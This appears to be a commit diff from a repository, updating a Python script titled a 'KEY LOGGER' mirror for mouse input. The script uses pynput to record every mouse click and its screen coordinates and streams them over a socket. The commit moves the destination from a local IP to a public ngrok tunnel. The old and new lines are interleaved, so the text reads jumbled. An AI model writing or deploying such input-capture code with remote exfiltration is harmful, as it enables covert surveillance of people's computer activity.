Update 'Server/KEY LOGGER - Mirror - MOUSE.py'

This commit is contained in:
zd
2020-12-10 18:04:23 +00:00
parent b475adef12
commit b044e3f787

View File

@ -1,81 +1,58 @@
import socket import socket
import os import os
from pynput import keyboard from pynput import keyboard
from pynput.mouse import Button, Controller from pynput.mouse import Button, Controller
from pynput import mouse from pynput import mouse
MOUSE = Controller() MOUSE = Controller()
dataToSend = ""
SEPARATOR = "<SEPARATOR>" SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 128 # send 4096 bytes each time step BUFFER_SIZE = 128 # send 4096 bytes each time step
host = "10.4.27.243" host = "4.tcp.ngrok.io"
# the ip address or hostname of the server, the receiver # the ip address or hostname of the server, the receiver
# the port, let's use 10002 # the port, let's use 10002
port = 10002 port = 17058
# the name of file we want to send, make sure it exists # the name of file we want to send, make sure it exists
filename = "dataM.txt" # get the file size
# get the file size
filesize = os.path.getsize("dataM.txt")
# create the client socket
s = socket.socket()
# create the client socket print(f"[+] Connecting to {host}:{port}")
s = socket.socket() s.connect((host, port))
print(f"[+] Connecting to {host}:{port}") print("[+] Connected.")
s.connect((host, port)) # send the filename and filesize
print("[+] Connected.") #s.send(f"{filename}{SEPARATOR}{filesize}".encode())
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
def sendfile(): ##############################################################################
# start sending the file
with open(filename, "rb") as f:
while True: def on_click(x, y, button, pressed):
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE) if button == "Button.left":
if not bytes_read: dataToSend = ("L")
# file transmitting is done else:
break dataToSend = ("R")
# we use sendall to assure transimission in
# busy networks dataToSend = dataToSend + str(x) + "," + str(y)
s.sendall(bytes_read) dataToSendBytes = dataToSend.encode()
# close the socket s.sendall(dataToSendBytes)
#s.close()
##############################################################################
def on_click(x, y, button, pressed): with mouse.Listener(
print(button)
on_click = on_click) as listener:
text_file = open("dataM.txt", "w")
if button == "Button.left": listener.join()
text_file.write(str("R"))
else:
text_file.write(str("L")) ###############################################################################
text_file.close()
text_file = open("dataM.txt", "a")
text_file.write(str(x))
text_file.write(",")
text_file.write(str(y))
text_file.close()
sendfile()
with mouse.Listener(
on_click = on_click) as listener:
listener.join()
###############################################################################